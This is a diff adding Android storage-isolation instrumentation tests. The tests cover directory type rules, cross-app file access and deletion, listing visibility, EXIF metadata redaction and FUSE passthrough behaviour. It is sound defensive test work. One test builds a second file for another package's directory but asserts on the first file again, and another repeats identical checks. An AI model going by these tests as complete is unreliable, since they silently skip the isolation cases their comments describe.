+                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+                Manifest.permission.WRITE_EXTERNAL_STORAGE)).isTrue();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
+    }
+
+    @Before
+    public void setupExternalStorage() {
+        super.setupExternalStorage(mVolumeName);
+        Log.i(TAG, "Using volume : " + mVolumeName);
+    }
+
+    /**
+     * Test that we enforce certain media types can only be created in certain directories.
+     */
+    @Test
+    public void testTypePathConformity() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File documentsDir = getDocumentsDir();
+        final File downloadDir = getDownloadDir();
+        final File moviesDir = getMoviesDir();
+        final File musicDir = getMusicDir();
+        final File picturesDir = getPicturesDir();
+        final File recordingsDir = getRecordingsDir();
+        // Only audio files can be created in Music
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(musicDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(musicDir, VIDEO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(musicDir, IMAGE_FILE_NAME).createNewFile();
+                });
+        // Only video files can be created in Movies
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(moviesDir, AUDIO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(moviesDir, IMAGE_FILE_NAME).createNewFile();
+                });
+        // Only image and video files can be created in DCIM
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(dcimDir, AUDIO_FILE_NAME).createNewFile();
+                });
+        // Only image and video files can be created in Pictures
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(picturesDir, AUDIO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile();
+                });
+        // Only audio files can be created in Recordings
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(recordingsDir, NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(recordingsDir, VIDEO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(recordingsDir, IMAGE_FILE_NAME).createNewFile();
+                });
+
+        assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, PLAYLIST_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, SUBTITLE_FILE_NAME));
+        assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, PLAYLIST_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, SUBTITLE_FILE_NAME));
+        assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
+        assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
+        assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
+        assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
+        assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(recordingsDir, AUDIO_FILE_NAME));
+        assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
+
+        // No file whatsoever can be created in the top level directory
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile();
+                });
+        assertThrows(IOException.class, "Operation not permitted",
+                () -> {
+                    new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile();
+                });
+    }
+
+    /**
+     * Test that we can create a file in app's external files directory,
+     * and that we can write and read to/from the file.
+     */
+    @Test
+    public void testCreateFileInAppExternalDir() throws Exception {
+        final File file = new File(getExternalFilesDir(), "text.txt");
+        try {
+            assertThat(file.createNewFile()).isTrue();
+            assertThat(file.delete()).isTrue();
+            // Ensure the file is properly deleted and can be created again
+            assertThat(file.createNewFile()).isTrue();
+
+            // Write to file
+            try (FileOutputStream fos = new FileOutputStream(file)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Read the same data from file
+            assertFileContent(file, BYTES_DATA1);
+        } finally {
+            file.delete();
+        }
+    }
+
+    /**
+     * Test that we can't create a file in another app's external files directory,
+     * and that we'll get the same error regardless of whether the app exists or not.
+     */
+    @Test
+    public void testCreateFileInOtherAppExternalDir() throws Exception {
+        // Creating a file in a non existent package dir should return ENOENT, as expected
+        final File nonexistentPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+        final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
+        assertThrows(
+                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+                    file1.createNewFile();
+                });
+
+        // Creating a file in an existent package dir should give the same error string to avoid
+        // leaking installed app names, and we know the following directory exists because shell
+        // mkdirs it in test setup
+        final File shellPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+        final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
+        assertThrows(
+                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+                    file1.createNewFile();
+                });
+    }
+
+    /**
+     * Test that apps can't read/write files in another app's external files directory,
+     * and can do so in their own app's external file directory.
+     */
+    @Test
+    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
+        final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create a file in app's external files directory
+            if (!videoFile.exists()) {
+                assertThat(videoFile.createNewFile()).isTrue();
+            }
+
+            // App A should not be able to read/write to other app's external files directory.
+            assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, false /* forWrite */)).isFalse();
+            assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, true /* forWrite */)).isFalse();
+            // App A should not be able to delete files in other app's external files
+            // directory.
+            assertThat(deleteFileAs(APP_A_HAS_RES, videoFile.getPath())).isFalse();
+
+            // Apps should have read/write access in their own app's external files directory.
+            assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
+            assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
+            // Apps should be able to delete files in their own app's external files directory.
+            assertThat(videoFile.delete()).isTrue();
+        } finally {
+            videoFile.delete();
+        }
+    }
+
+    /**
+     * Test that we can contribute media without any permissions.
+     */
+    @Test
+    public void testContributeMediaFile() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+        try {
+            assertThat(imageFile.createNewFile()).isTrue();
+
+            // Ensure that the file was successfully added to the MediaProvider database
+            assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
+
+            // Try to write random data to the file
+            try (FileOutputStream fos = new FileOutputStream(imageFile)) {
+                fos.write(BYTES_DATA1);
+                fos.write(BYTES_DATA2);
+            }
+
+            final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+            assertFileContent(imageFile, expected);
+
+            // Closing the file after writing will not trigger a MediaScan. Call scanFile to update
+            // file's entry in MediaProvider's database.
+            assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
+
+            // Ensure that the scan was completed and the file's size was updated.
+            assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
+                    BYTES_DATA1.length + BYTES_DATA2.length);
+        } finally {
+            imageFile.delete();
+        }
+        // Ensure that delete makes a call to MediaProvider to remove the file from its database.
+        assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+    }
+
+    @Test
+    public void testCreateAndDeleteEmptyDir() throws Exception {
+        final File externalFilesDir = getExternalFilesDir();
+        // Remove directory in order to create it again
+        externalFilesDir.delete();
+
+        // Can create own external files dir
+        assertThat(externalFilesDir.mkdir()).isTrue();
+
+        final File dir1 = new File(externalFilesDir, "random_dir");
+        // Can create dirs inside it
+        assertThat(dir1.mkdir()).isTrue();
+
+        final File dir2 = new File(dir1, "random_dir_inside_random_dir");
+        // And create a dir inside the new dir
+        assertThat(dir2.mkdir()).isTrue();
+
+        // And can delete them all
+        assertThat(dir2.delete()).isTrue();
+        assertThat(dir1.delete()).isTrue();
+        assertThat(externalFilesDir.delete()).isTrue();
+
+        // Can't create external dir for other apps
+        final File nonexistentPackageFileDir = new File(
+                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+        final File shellPackageFileDir = new File(
+                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+
+        assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
+        assertThat(shellPackageFileDir.mkdir()).isFalse();
+    }
+
+    @Test
+    public void testCantAccessOtherAppsContents() throws Exception {
+        final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+            // We can still see that the files exist
+            assertThat(mediaFile.exists()).isTrue();
+            assertThat(nonMediaFile.exists()).isTrue();
+
+            // But we can't access their content
+            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+        }
+    }
+
+    @Test
+    public void testCantDeleteOtherAppsContents() throws Exception {
+        final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+        final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
+        final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
+        try {
+            assertThat(dirInDownload.mkdir()).isTrue();
+            // Have another app create a media file in the directory
+            assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+
+            // Can't delete the directory since it contains another app's content
+            assertThat(dirInDownload.delete()).isFalse();
+            // Can't delete another app's content
+            assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+            // Have another app create a non-media file in the directory
+            assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+            // Can't delete the directory since it contains another app's content
+            assertThat(dirInDownload.delete()).isFalse();
+            // Can't delete another app's content
+            assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+            // Delete only the media file and keep the non-media file
+            assertThat(deleteFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+            // Directory now has only the non-media file contributed by another app, so we still
+            // can't delete it nor its content
+            assertThat(dirInDownload.delete()).isFalse();
+            assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+            // Delete the last file belonging to another app
+            assertThat(deleteFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+            // Create our own file
+            assertThat(nonMediaFile.createNewFile()).isTrue();
+
+            // Now that the directory only has content that was contributed by us, we can delete it
+            assertThat(deleteRecursively(dirInDownload)).isTrue();
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+            deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+            // At this point, we're not sure who created this file, so we'll have both apps
+            // deleting it
+            mediaFile.delete();
+            dirInDownload.delete();
+        }
+    }
+
+    /**
+     * Test that deleting uri corresponding to a file which was already deleted via filePath
+     * doesn't result in a security exception.
+     */
+    @Test
+    public void testDeleteAlreadyUnlinkedFile() throws Exception {
+        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertTrue(nonMediaFile.createNewFile());
+            final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
+            assertNotNull(uri);
+
+            // Delete the file via filePath
+            assertTrue(nonMediaFile.delete());
+
+            // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
+            // security exception.
+            assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
+        } finally {
+            nonMediaFile.delete();
+        }
+    }
+
+    /**
+     * This test relies on the fact that {@link File#list} uses opendir internally, and that it
+     * returns {@code null} if opendir fails.
+     */
+    @Test
+    public void testOpendirRestrictions() throws Exception {
+        // Opening a non existent package directory should fail, as expected
+        final File nonexistentPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+        assertThat(nonexistentPackageFileDir.list()).isNull();
+
+        // Opening another package's external directory should fail as well, even if it exists
+        final File shellPackageFileDir = new File(
+                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+        assertThat(shellPackageFileDir.list()).isNull();
+
+        // We can open our own external files directory
+        final String[] filesList = getExternalFilesDir().list();
+        assertThat(filesList).isNotNull();
+
+        // We can open any public directory in external storage
+        assertThat(getDcimDir().list()).isNotNull();
+        assertThat(getDownloadDir().list()).isNotNull();
+        assertThat(getMoviesDir().list()).isNotNull();
+        assertThat(getMusicDir().list()).isNotNull();
+
+        // We can open the root directory of external storage
+        final String[] topLevelDirs = getExternalStorageDir().list();
+        assertThat(topLevelDirs).isNotNull();
+        // TODO(b/145287327): This check fails on a device with no visible files.
+        // This can be fixed if we display default directories.
+        // assertThat(topLevelDirs).isNotEmpty();
+    }
+
+    @Test
+    public void testLowLevelFileIO() throws Exception {
+        String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
+        try {
+            int createFlags = O_CREAT | O_RDWR;
+            int createExclFlags = createFlags | O_EXCL;
+
+            FileDescriptor fd = Os.open(filePath, createExclFlags, S_IRWXU);
+            Os.close(fd);
+            assertThrows(
+                    ErrnoException.class, () -> {
+                        Os.open(filePath, createExclFlags, S_IRWXU);
+                    });
+
+            fd = Os.open(filePath, createFlags, S_IRWXU);
+            try {
+                assertThat(Os.write(fd,
+                        ByteBuffer.wrap(BYTES_DATA1))).isEqualTo(BYTES_DATA1.length);
+                assertFileContent(fd, BYTES_DATA1);
+            } finally {
+                Os.close(fd);
+            }
+            // should just append the data
+            fd = Os.open(filePath, createFlags | O_APPEND, S_IRWXU);
+            try {
+                assertThat(Os.write(fd,
+                        ByteBuffer.wrap(BYTES_DATA2))).isEqualTo(BYTES_DATA2.length);
+                final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+                assertFileContent(fd, expected);
+            } finally {
+                Os.close(fd);
+            }
+            // should overwrite everything
+            fd = Os.open(filePath, createFlags | O_TRUNC, S_IRWXU);
+            try {
+                final byte[] otherData = "this is different data".getBytes();
+                assertThat(Os.write(fd, ByteBuffer.wrap(otherData))).isEqualTo(otherData.length);
+                assertFileContent(fd, otherData);
+            } finally {
+                Os.close(fd);
+            }
+        } finally {
+            new File(filePath).delete();
+        }
+    }
+
+    /**
+     * Test that media files from other packages are only visible to apps with storage permission.
+     */
+    @Test
+    public void testListDirectoriesWithMediaFiles() throws Exception {
+        final File dcimDir = getDcimDir();
+        final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
+        final File videoFile = new File(dir, VIDEO_FILE_NAME);
+        final String videoFileName = videoFile.getName();
+        try {
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getPath())).isTrue();
+            // App B should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
+            assertThat(listAs(APP_B_NO_PERMS, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(videoFileName);
+
+            // App A has storage permission, so should see TEST_DIRECTORY in DCIM and new file
+            // in TEST_DIRECTORY.
+            assertThat(listAs(APP_A_HAS_RES, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_A_HAS_RES, dir.getPath())).containsExactly(videoFileName);
+
+            // We are an app without storage permission; should see TEST_DIRECTORY in DCIM and
+            // should not see new file in new TEST_DIRECTORY.
+            assertThat(dcimDir.list()).asList().contains(TEST_DIRECTORY_NAME);
+            assertThat(dir.list()).asList().doesNotContain(videoFileName);
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
+            dir.delete();
+        }
+    }
+
+    /**
+     * Test that app can't see non-media files created by other packages
+     */
+    @Test
+    public void testListDirectoriesWithNonMediaFiles() throws Exception {
+        final File downloadDir = getDownloadDir();
+        final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
+        final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
+        final String pdfFileName = pdfFile.getName();
+        try {
+            if (!dir.exists()) {
+                assertThat(dir.mkdir()).isTrue();
+            }
+
+            // Have App B create non media file in the new directory.
+            assertThat(createFileAs(APP_B_NO_PERMS, pdfFile.getPath())).isTrue();
+
+            // App B should see TEST_DIRECTORY in downloadDir and new non media file in
+            // TEST_DIRECTORY.
+            assertThat(listAs(APP_B_NO_PERMS, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(pdfFileName);
+
+            // APP A with storage permission should see TEST_DIRECTORY in downloadDir
+            // and should not see non media file in TEST_DIRECTORY.
+            assertThat(listAs(APP_A_HAS_RES, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+            assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
+        } finally {
+            deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
+            dir.delete();
+        }
+    }
+
+    /**
+     * Test that app can only see its directory in Android/data.
+     */
+    @Test
+    public void testListFilesFromExternalFilesDirectory() throws Exception {
+        final String packageName = THIS_PACKAGE_NAME;
+        final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
+
+        try {
+            // Create a file in app's external files directory
+            if (!nonmediaFile.exists()) {
+                assertThat(nonmediaFile.createNewFile()).isTrue();
+            }
+            // App should see its directory and directories of shared packages. App should see all
+            // files and directories in its external directory.
+            assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
+
+            // App A should not see other app's external files directory despite RES.
+            assertThrows(IOException.class,
+                    () -> listAs(APP_A_HAS_RES, getAndroidDataDir().getPath()));
+            assertThrows(IOException.class,
+                    () -> listAs(APP_A_HAS_RES, getExternalFilesDir().getPath()));
+        } finally {
+            nonmediaFile.delete();
+        }
+    }
+
+    /**
+     * Test that app can see files and directories in Android/media.
+     */
+    @Test
+    public void testListFilesFromExternalMediaDirectory() throws Exception {
+        final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create a file in app's external media directory
+            if (!videoFile.exists()) {
+                assertThat(videoFile.createNewFile()).isTrue();
+            }
+
+            // App should see its directory and other app's external media directories with media
+            // files.
+            assertDirectoryContains(videoFile.getParentFile(), videoFile);
+
+            // App A with storage permission should see other app's external media directory.
+            // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
+            // directory.
+            assertThat(listAs(APP_A_HAS_RES, getAndroidMediaDir().getPath()))
+                    .contains(THIS_PACKAGE_NAME);
+            assertThat(listAs(APP_A_HAS_RES, getExternalMediaDir().getPath()))
+                    .containsExactly(videoFile.getName());
+        } finally {
+            videoFile.delete();
+        }
+    }
+
+    @Test
+    public void testMetaDataRedaction() throws Exception {
+        File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
+        try {
+            if (jpgFile.exists()) {
+                assertThat(jpgFile.delete()).isTrue();
+            }
+
+            HashMap<String, String> originalExif =
+                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
+
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                 OutputStream out = new FileOutputStream(jpgFile)) {
+                // Dump the image we have to external storage
+                FileUtils.copy(in, out);
+
+                HashMap<String, String> exif = getExifMetadata(jpgFile);
+                assertExifMetadataMatch(exif, originalExif);
+
+                HashMap<String, String> exifFromTestApp =
+                        readExifMetadataFromTestApp(APP_A_HAS_RES, jpgFile.getPath());
+                // App does not have AML; shouldn't have access to the same metadata.
+                assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+                // TODO(b/146346138): Test that if we give APP_A write URI permission,
+                //  it would be able to access the metadata.
+            } // Intentionally keep the original streams open during the test so bytes are more
+            // likely to be in the VFS cache from both file opens
+        } finally {
+            jpgFile.delete();
+        }
+    }
+
+    @Test
+    public void testOpenFilePathFirstWriteContentResolver() throws Exception {
+        String displayName = "open_file_path_write_content_resolver.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+            assertRWR(readPfd, writePfd);
+            assertUpperFsFd(writePfd); // With cache
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
+        String displayName = "open_content_resolver_write_content_resolver.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+            ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+
+            assertRWR(readPfd, writePfd);
+            assertLowerFsFdWithPassthrough(writePfd);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenFilePathFirstWriteFilePath() throws Exception {
+        String displayName = "open_file_path_write_file_path.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+
+            assertRWR(readPfd, writePfd);
+            assertUpperFsFd(readPfd); // With cache
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverFirstWriteFilePath() throws Exception {
+        String displayName = "open_content_resolver_write_file_path.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+            ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+
+            assertRWR(readPfd, writePfd);
+            assertLowerFsFdWithPassthrough(readPfd);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverWriteOnly() throws Exception {
+        String displayName = "open_content_resolver_write_only.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            // We upgrade 'w' only to 'rw'
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
+            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+
+            assertRWR(readPfd, writePfd);
+            assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
+            assertLowerFsFdWithPassthrough(writePfd);
+            assertLowerFsFdWithPassthrough(readPfd);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverDup() throws Exception {
+        String displayName = "open_content_resolver_dup.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            file.delete();
+            assertThat(file.createNewFile()).isTrue();
+
+            // Even if we close the original fd, since we have a dup open
+            // the FUSE IO should still bypass the cache
+            try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw")) {
+                try (ParcelFileDescriptor writePfdDup = writePfd.dup();
+                     ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(
+                             file, MODE_READ_WRITE)) {
+                    writePfd.close();
+
+                    assertRWR(readPfd, writePfdDup);
+                    assertLowerFsFdWithPassthrough(writePfdDup);
+                }
+            }
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testOpenContentResolverClose() throws Exception {
+        String displayName = "open_content_resolver_close.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            byte[] readBuffer = new byte[10];
+            byte[] writeBuffer = new byte[10];
+            Arrays.fill(writeBuffer, (byte) 1);
+
+            assertThat(file.createNewFile()).isTrue();
+
+            // Lower fs open and write
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+            // Close so upper fs open will not use direct_io
+            writePfd.close();
+
+            // Upper fs open and read without direct_io
+            ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+            Os.pread(readPfd.getFileDescriptor(), readBuffer, 0, 10, 0);
+
+            // Last write on lower fs is visible via upper fs
+            assertThat(readBuffer).isEqualTo(writeBuffer);
+            assertThat(readPfd.getStatSize()).isEqualTo(writeBuffer.length);
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testContentResolverDelete() throws Exception {
+        String displayName = "content_resolver_delete.jpg";
+        File file = new File(getDcimDir(), displayName);
+
+        try {
+            assertThat(file.createNewFile()).isTrue();
+
+            deleteWithMediaProvider(file);
+
+            assertThat(file.exists()).isFalse();
+            assertThat(file.createNewFile()).isTrue();
+        } finally {
+            file.delete();
+        }
+    }
+
+    @Test
+    public void testContentResolverUpdate() throws Exception {
+        String oldDisplayName = "content_resolver_update_old.jpg";
+        String newDisplayName = "content_resolver_update_new.jpg";
+        File oldFile = new File(getDcimDir(), oldDisplayName);
+        File newFile = new File(getDcimDir(), newDisplayName);
+
+        try {
+            assertThat(oldFile.createNewFile()).isTrue();
+            // Publish the pending oldFile before updating with MediaProvider. Not publishing the
+            // file will make MP consider pending from FUSE as explicit IS_PENDING
+            final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
+            assertNotNull(uri);
+
+            updateDisplayNameWithMediaProvider(uri,
+                    Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
+
+            assertThat(oldFile.exists()).isFalse();
+            assertThat(oldFile.createNewFile()).isTrue();
+            assertThat(newFile.exists()).isTrue();
+            assertThat(newFile.createNewFile()).isFalse();
+        } finally {
+            oldFile.delete();
+            newFile.delete();
+        }
+    }
+
+    @Test
+    public void testDefaultNoIsolatedStorageFlag() throws Exception {
+        assertThat(Environment.isExternalStorageLegacy()).isFalse();
+    }
+
+    @Test
+    public void testCreateLowerCaseDeleteUpperCase() throws Exception {
+        File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
+        File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
+
+        createDeleteCreate(lowerCase, upperCase);
+    }
+
+    @Test
+    public void testCreateUpperCaseDeleteLowerCase() throws Exception {
+        File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
+        File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
+
+        createDeleteCreate(upperCase, lowerCase);
+    }
+
+    @Test
+    public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
+        File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
+        File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
+
+        createDeleteCreate(mixedCase1, mixedCase2);
+    }
+
+    @Test
+    public void testAndroidDataObbDoesNotForgetMount() throws Exception {
